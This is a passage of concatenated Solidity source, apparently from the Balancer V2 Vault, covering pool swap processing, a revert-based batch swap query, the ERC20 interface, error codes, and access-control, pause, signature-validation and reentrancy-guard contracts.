// stored internally, instead of using getters and setters for all operations.
(
bytes32 tokenABalance,
bytes32 tokenBBalance,
TwoTokenPoolBalances storage poolBalances
) = _getTwoTokenPoolSharedBalances(request.poolId, request.tokenIn, request.tokenOut);
// We have the two Pool balances, but we don't know which one is 'token in' or 'token out'.
bytes32 tokenInBalance;
bytes32 tokenOutBalance;
// In Two Token Pools, token A has a smaller address than token B
if (request.tokenIn < request.tokenOut) {
// in is A, out is B
tokenInBalance = tokenABalance;
tokenOutBalance = tokenBBalance;
} else {
// in is B, out is A
tokenOutBalance = tokenABalance;
tokenInBalance = tokenBBalance;
}
// Perform the swap request and compute the new balances for 'token in' and 'token out' after the swap
(tokenInBalance, tokenOutBalance, amountCalculated) = _callMinimalSwapInfoPoolOnSwapHook(
request,
pool,
tokenInBalance,
tokenOutBalance
);
// We check the token ordering again to create the new shared cash packed struct
poolBalances.sharedCash = request.tokenIn < request.tokenOut
? BalanceAllocation.toSharedCash(tokenInBalance, tokenOutBalance) // in is A, out is B
: BalanceAllocation.toSharedCash(tokenOutBalance, tokenInBalance); // in is B, out is A
}
function _processMinimalSwapInfoPoolSwapRequest(
IPoolSwapStructs.SwapRequest memory request,
IMinimalSwapInfoPool pool
) private returns (uint256 amountCalculated) {
bytes32 tokenInBalance = _getMinimalSwapInfoPoolBalance(request.poolId, request.tokenIn);
bytes32 tokenOutBalance = _getMinimalSwapInfoPoolBalance(request.poolId, request.tokenOut);
// Perform the swap request and compute the new balances for 'token in' and 'token out' after the swap
(tokenInBalance, tokenOutBalance, amountCalculated) = _callMinimalSwapInfoPoolOnSwapHook(
request,
pool,
tokenInBalance,
tokenOutBalance
);
_minimalSwapInfoPoolsBalances[request.poolId][request.tokenIn] = tokenInBalance;
_minimalSwapInfoPoolsBalances[request.poolId][request.tokenOut] = tokenOutBalance;
}
/**
* @dev Calls the onSwap hook for a Pool that implements IMinimalSwapInfoPool: both Minimal Swap Info and Two Token
* Pools do this.
*/
function _callMinimalSwapInfoPoolOnSwapHook(
IPoolSwapStructs.SwapRequest memory request,
IMinimalSwapInfoPool pool,
bytes32 tokenInBalance,
bytes32 tokenOutBalance
)
internal
returns (
bytes32 newTokenInBalance,
bytes32 newTokenOutBalance,
uint256 amountCalculated
)
{
uint256 tokenInTotal = tokenInBalance.total();
uint256 tokenOutTotal = tokenOutBalance.total();
request.lastChangeBlock = Math.max(tokenInBalance.lastChangeBlock(), tokenOutBalance.lastChangeBlock());
// Perform the swap request callback, and compute the new balances for 'token in' and 'token out' after the swap
amountCalculated = pool.onSwap(request, tokenInTotal, tokenOutTotal);
(uint256 amountIn, uint256 amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);
newTokenInBalance = tokenInBalance.increaseCash(amountIn);
newTokenOutBalance = tokenOutBalance.decreaseCash(amountOut);
}
function _processGeneralPoolSwapRequest(IPoolSwapStructs.SwapRequest memory request, IGeneralPool pool)
private
returns (uint256 amountCalculated)
{
bytes32 tokenInBalance;
bytes32 tokenOutBalance;
// We access both token indexes without checking existence, because we will do it manually immediately after.
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[request.poolId];
uint256 indexIn = poolBalances.unchecked_indexOf(request.tokenIn);
uint256 indexOut = poolBalances.unchecked_indexOf(request.tokenOut);
if (indexIn == 0 || indexOut == 0) {
// The tokens might not be registered because the Pool itself is not registered. We check this to provide a
// more accurate revert reason.
_ensureRegisteredPool(request.poolId);
_revert(Errors.TOKEN_NOT_REGISTERED);
}
// EnumerableMap stores indices *plus one* to use the zero index as a sentinel value - because these are valid,
// we can undo this.
indexIn -= 1;
indexOut -= 1;
uint256 tokenAmount = poolBalances.length();
uint256[] memory currentBalances = new uint256[](tokenAmount);
request.lastChangeBlock = 0;
for (uint256 i = 0; i < tokenAmount; i++) {
// Because the iteration is bounded by `tokenAmount`, and no tokens are registered or deregistered here, we
// know `i` is a valid token index and can use `unchecked_valueAt` to save storage reads.
bytes32 balance = poolBalances.unchecked_valueAt(i);
currentBalances[i] = balance.total();
request.lastChangeBlock = Math.max(request.lastChangeBlock, balance.lastChangeBlock());
if (i == indexIn) {
tokenInBalance = balance;
} else if (i == indexOut) {
tokenOutBalance = balance;
}
}
// Perform the swap request callback and compute the new balances for 'token in' and 'token out' after the swap
amountCalculated = pool.onSwap(request, currentBalances, indexIn, indexOut);
(uint256 amountIn, uint256 amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);
tokenInBalance = tokenInBalance.increaseCash(amountIn);
tokenOutBalance = tokenOutBalance.decreaseCash(amountOut);
// Because no tokens were registered or deregistered between now or when we retrieved the indexes for
// 'token in' and 'token out', we can use `unchecked_setAt` to save storage reads.
poolBalances.unchecked_setAt(indexIn, tokenInBalance);
poolBalances.unchecked_setAt(indexOut, tokenOutBalance);
}
// This function is not marked as `nonReentrant` because the underlying mechanism relies on reentrancy
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external override returns (int256[] memory) {
// In order to accurately 'simulate' swaps, this function actually does perform the swaps, including calling the
// Pool hooks and updating balances in storage. However, once it computes the final Vault Deltas, it
// reverts unconditionally, returning this array as the revert data.
//
// By wrapping this reverting call, we can decode the deltas 'returned' and return them as a normal Solidity
// function would. The only caveat is the function becomes non-view, but off-chain clients can still call it
// via eth_call to get the expected result.
//
// This technique was inspired by the work from the Gnosis team in the Gnosis Safe contract:
// https://github.com/gnosis/safe-contracts/blob/v1.2.0/contracts/GnosisSafe.sol#L265
//
// Most of this function is implemented using inline assembly, as the actual work it needs to do is not
// significant, and Solidity is not particularly well-suited to generate this behavior, resulting in a large
// amount of generated bytecode.
if (msg.sender != address(this)) {
// We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of
// the preceding if statement will be executed instead.
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(msg.data);
// solhint-disable-next-line no-inline-assembly
assembly {
// This call should always revert to decode the actual asset deltas from the revert reason
switch success
case 0 {
// Note we are manually writing the memory slot 0. We can safely overwrite whatever is
// stored there as we take full control of the execution and then immediately return.
// We copy the first 4 bytes to check if it matches with the expected signature, otherwise
// there was another revert reason and we should forward it.
returndatacopy(0, 0, 0x04)
let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)
// If the first 4 bytes don't match with the expected signature, we forward the revert reason.
if eq(eq(error, 0xfa61cc1200000000000000000000000000000000000000000000000000000000), 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
// The returndata contains the signature, followed by the raw memory representation of an array:
// length + data. We need to return an ABI-encoded representation of this array.
// An ABI-encoded array contains an additional field when compared to its raw memory
// representation: an offset to the location of the length. The offset itself is 32 bytes long,
// so the smallest value we can use is 32 for the data to be located immediately after it.
mstore(0, 32)
// We now copy the raw memory array from returndata into memory. Since the offset takes up 32
// bytes, we start copying at address 0x20. We also get rid of the error signature, which takes
// the first four bytes of returndata.
let size := sub(returndatasize(), 0x04)
returndatacopy(0x20, 0x04, size)
// We finally return the ABI-encoded array, which has a total length equal to that of the array
// (returndata), plus the 32 bytes for the offset.
return(0, add(size, 32))
}
default {
// This call should always revert, but we fail nonetheless if that didn't happen
invalid()
}
}
} else {
int256[] memory deltas = _swapWithPools(swaps, assets, funds, kind);
// solhint-disable-next-line no-inline-assembly
assembly {
// We will return a raw representation of the array in memory, which is composed of a 32 byte length,
// followed by the 32 byte int256 values. Because revert expects a size in bytes, we multiply the array
// length (stored at `deltas`) by 32.
let size := mul(mload(deltas), 32)
// We send one extra value for the error signature "QueryError(int256[])" which is 0xfa61cc12.
// We store it in the previous slot to the `deltas` array. We know there will be at least one available
// slot due to how the memory scratch space works.
// We can safely overwrite whatever is stored in this slot as we will revert immediately after that.
mstore(sub(deltas, 0x20), 0x00000000000000000000000000000000000000000000000000000000fa61cc12)
let start := sub(deltas, 0x04)
// When copying from `deltas` into returndata, we copy an additional 36 bytes to also return the array's
// length and the error signature.
revert(start, add(size, 36))
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// solhint-disable
/**
* @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are
* supported.
*/
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
/**
* @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported.
*/
function _revert(uint256 errorCode) pure {
// We're going to dynamically create a revert string based on the error code, with the following format:
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a
// number (8 to 16 bits) than the individual string characters.
//
// The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a
// much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999
// range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string. The "BAL#" part is a known constant
// (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits
// per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte
// array).
let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
// Next is the offset to the location of the string, which will be placed immediately after (20 bytes away).
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./IAuthentication.sol";
/**
* @dev Building block for performing access control on external functions.
*
* This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied
* to external functions to only make them callable by authorized accounts.
*
* Derived contracts must implement the `_canPerform` function, which holds the actual access control logic.
*/
abstract contract Authentication is IAuthentication {
bytes32 private immutable _actionIdDisambiguator;
/**
* @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in
* multi contract systems.
*
* There are two main uses for it:
* - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers
* unique. The contract's own address is a good option.
* - if the contract belongs to a family that shares action identifiers for the same functions, an identifier
* shared by the entire family (and no other contract) should be used instead.
*/
constructor(bytes32 actionIdDisambiguator) {
_actionIdDisambiguator = actionIdDisambiguator;
}
/**
* @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions.
*/
modifier authenticate() {
_authenticateCaller();
_;
}
/**
* @dev Reverts unless the caller is allowed to call the entry point function.
*/
function _authenticateCaller() internal view {
bytes32 actionId = getActionId(msg.sig);
_require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED);
}
function getActionId(bytes4 selector) public view override returns (bytes32) {
// Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the
// function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of
// multiple contracts.
return keccak256(abi.encodePacked(_actionIdDisambiguator, selector));
}
function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./ITemporarilyPausable.sol";
/**
* @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be
* used as an emergency switch in case a security vulnerability or threat is identified.
*
* The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be
* unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets
* system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful
* analysis later determines there was a false alarm.
*
* If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional
* Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time
* to react to an emergency, even if the threat is discovered shortly before the Pause Window expires.
*
* Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is
* irreversible.
*/
abstract contract TemporarilyPausable is ITemporarilyPausable {
// The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy.
// solhint-disable not-rely-on-time
uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days;
uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days;
uint256 private immutable _pauseWindowEndTime;
uint256 private immutable _bufferPeriodEndTime;
bool private _paused;
constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) {
_require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION);
_require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION);
uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration;
_pauseWindowEndTime = pauseWindowEndTime;
_bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration;
}
/**
* @dev Reverts if the contract is paused.
*/
modifier whenNotPaused() {
_ensureNotPaused();
_;
}
/**
* @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer
* Period.
*/
function getPausedState()
external
view
override
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
)
{
paused = !_isNotPaused();
pauseWindowEndTime = _getPauseWindowEndTime();
bufferPeriodEndTime = _getBufferPeriodEndTime();
}
/**
* @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and
* unpaused until the end of the Buffer Period.
*
* Once the Buffer Period expires, this function reverts unconditionally.
*/
function _setPaused(bool paused) internal {
if (paused) {
_require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED);
} else {
_require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED);
}
_paused = paused;
emit PausedStateChanged(paused);
}
/**
* @dev Reverts if the contract is paused.
*/
function _ensureNotPaused() internal view {
_require(_isNotPaused(), Errors.PAUSED);
}
/**
* @dev Returns true if the contract is unpaused.
*
* Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no
* longer accessed.
*/
function _isNotPaused() internal view returns (bool) {
// After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access.
return block.timestamp > _getBufferPeriodEndTime() || !_paused;
}
// These getters lead to reduced bytecode size by inlining the immutable variables in a single place.
function _getPauseWindowEndTime() private view returns (uint256) {
return _pauseWindowEndTime;
}
function _getBufferPeriodEndTime() private view returns (uint256) {
return _bufferPeriodEndTime;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./ISignaturesValidator.sol";
import "../openzeppelin/EIP712.sol";
/**
* @dev Utility for signing Solidity function calls.
*
* This contract relies on the fact that Solidity contracts can be called with extra calldata, and enables
* meta-transaction schemes by appending an EIP712 signature of the original calldata at the end.
*
* Derived contracts must implement the `_typeHash` function to map function selectors to EIP712 structs.
*/
abstract contract SignaturesValidator is ISignaturesValidator, EIP712 {
// The appended data consists of a deadline, plus the [v,r,s] signature. For simplicity, we use a full 256 bit slot
// for each of these values, even if 'v' is typically an 8 bit value.
uint256 internal constant _EXTRA_CALLDATA_LENGTH = 4 * 32;
// Replay attack prevention for each user.
mapping(address => uint256) internal _nextNonce;
constructor(string memory name) EIP712(name, "1") {
// solhint-disable-previous-line no-empty-blocks
}
function getDomainSeparator() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function getNextNonce(address user) external view override returns (uint256) {
return _nextNonce[user];
}
/**
* @dev Reverts with `errorCode` unless a valid signature for `user` was appended to the calldata.
*/
function _validateSignature(address user, uint256 errorCode) internal {
uint256 nextNonce = _nextNonce[user]++;
_require(_isSignatureValid(user, nextNonce), errorCode);
}
function _isSignatureValid(address user, uint256 nonce) private view returns (bool) {
uint256 deadline = _deadline();
// The deadline is timestamp-based: it should not be relied upon for sub-minute accuracy.
// solhint-disable-next-line not-rely-on-time
if (deadline < block.timestamp) {
return false;
}
bytes32 typeHash = _typeHash();
if (typeHash == bytes32(0)) {
// Prevent accidental signature validation for functions that don't have an associated type hash.
return false;
}
// All type hashes have this format: (bytes calldata, address sender, uint256 nonce, uint256 deadline).
bytes32 structHash = keccak256(abi.encode(typeHash, keccak256(_calldata()), msg.sender, nonce, deadline));
bytes32 digest = _hashTypedDataV4(structHash);
(uint8 v, bytes32 r, bytes32 s) = _signature();
address recoveredAddress = ecrecover(digest, v, r, s);
// ecrecover returns the zero address on recover failure, so we need to handle that explicitly.
return recoveredAddress != address(0) && recoveredAddress == user;
}
/**
* @dev Returns the EIP712 type hash for the current entry point function, which can be identified by its function
* selector (available as `msg.sig`).
*
* The type hash must conform to the following format:
* <name>(bytes calldata, address sender, uint256 nonce, uint256 deadline)
*
* If 0x00, all signatures will be considered invalid.
*/
function _typeHash() internal view virtual returns (bytes32);
/**
* @dev Extracts the signature deadline from extra calldata.
*
* This function returns bogus data if no signature is included.
*/
function _deadline() internal pure returns (uint256) {
// The deadline is the first extra argument at the end of the original calldata.
return uint256(_decodeExtraCalldataWord(0));
}
/**
* @dev Extracts the signature parameters from extra calldata.
*
* This function returns bogus data if no signature is included. This is not a security risk, as that data would not
* be considered a valid signature in the first place.
*/
function _signature()
internal
pure
returns (
uint8 v,
bytes32 r,
bytes32 s
)
{
// v, r and s are appended after the signature deadline, in that order.
v = uint8(uint256(_decodeExtraCalldataWord(0x20)));
r = _decodeExtraCalldataWord(0x40);
s = _decodeExtraCalldataWord(0x60);
}
/**
* @dev Returns the original calldata, without the extra bytes containing the signature.
*
* This function returns bogus data if no signature is included.
*/
function _calldata() internal pure returns (bytes memory result) {
result = msg.data; // A calldata to memory assignment results in memory allocation and copy of contents.
if (result.length > _EXTRA_CALLDATA_LENGTH) {
// solhint-disable-next-line no-inline-assembly
assembly {
// We simply overwrite the array length with the reduced one.
mstore(result, sub(calldatasize(), _EXTRA_CALLDATA_LENGTH))
}
}
}
/**
* @dev Returns a 256 bit word from 'extra' calldata, at some offset from the expected end of the original calldata.
*
* This function returns bogus data if no signature is included.
*/
function _decodeExtraCalldataWord(uint256 offset) private pure returns (bytes32 result) {
// solhint-disable-next-line no-inline-assembly
assembly {
result := calldataload(add(sub(calldatasize(), _EXTRA_CALLDATA_LENGTH), offset))
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
// Based on the ReentrancyGuard library from OpenZeppelin contracts, altered to reduce bytecode size.
// Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using
// private functions, we achieve the same end result with slightly higher runtime gas costs but reduced bytecode size.
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
